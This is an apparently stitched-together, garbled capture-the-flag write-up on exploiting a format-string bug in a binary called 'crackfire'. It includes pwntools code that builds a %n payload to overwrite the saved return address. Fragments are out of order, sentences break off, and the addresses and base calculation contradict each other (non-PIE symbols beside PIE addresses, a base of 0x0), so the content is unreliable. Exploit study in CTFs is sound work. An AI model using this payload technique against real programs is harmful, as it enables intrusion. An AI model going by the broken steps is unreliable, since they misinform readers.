printf("Enter the secret code:\n"); scanf("%s", buf); // <-- NO length limit scanf("%s", ...) reads until whitespace, no size check → . But more importantly, later there is a printf that prints the user‑controlled string without a format string :
The binary is compiled PIE, so we need to of _start (found via readelf -s crackfire | grep _start → 0x4006f0 ) to get the load address:
0x555555555580 0x7fffffffde10 0x555555554b40 0x555555554b88 ... The pointer ( 0x555555554b40 ) matches the address of the saved RIP (confirmed by comparing to gdb ’s info frame ).
We’ll use the syntax to reference the n‑th argument directly. 7. Crafting the write payload We want to write the address of win (e.g., 0x5555555552f0 ) into the saved RIP located at stack position 3 (the third argument after the format string).
| Address | Symbol | Purpose | |---------|--------|---------| | 0x401260 | main | reads user input with scanf("%s", buf) | | 0x4010f0 | check | compares input to a hidden string ( secret ) | | 0x401240 | win | prints flag and exits |
chmod +x crackfire file crackfire # crackfire: ELF 64-bit LSB executable, x86‑64, dynamically linked, ... The binary is – symbols are present, making static analysis easier. 2. Quick run‑through Running the binary locally shows the intended user interaction:
def build_fmt_payload(ret_addr, win
# Remote host (if the challenge runs on a remote server) HOST = "challenge.example.com" PORT = 31337
from pwn import *
# ---------------------------------------------------------------------- # 2. Build format‑string payload # ---------------------------------------------------------------------- low = win & 0xffffffff high = win >> 32
0x7ffff7a5e000 0x4006f0 0x7ffff7dd18b0 0x4008b0 0x0 0x1 The first pointer ( 0x7ffff7a5e000 ) is a ; the second ( 0x4006f0 ) is _start – an address inside the binary, which is enough to compute the base.
base = leaked_puts_addr - puts_offset_in_binary For the purpose of this write‑up we’ll assume the binary’s base is 0x555555554000 (typical ASLR value on my system). All subsequent addresses are . 6. Locating the return address on the stack When printf(buf) processes the format string, the stack layout looks like:
Thus (zero‑based) from the start of the format string corresponds to the saved return address.
payload = flat([ret_addr, ret_addr+4]) # these become %1$ and %2$ # We need to print 'low' bytes, then write with %3$n payload += f"%lowc%3$n" # write low 4 bytes # Pad to reach high (taking into account already printed bytes) pad = (high - low) % 0x100000000 # wrap‑around handling payload += f"%padc%4$n" The resulting string (hex‑escaped) looks like:
base = 0x4006f0 - 0x4006f0 = 0x0 (actually PIE base = 0x0 when using the absolute address) But more reliably we can leak puts@got (e.g., 0x404018 ) to get the runtime address and compute the base with: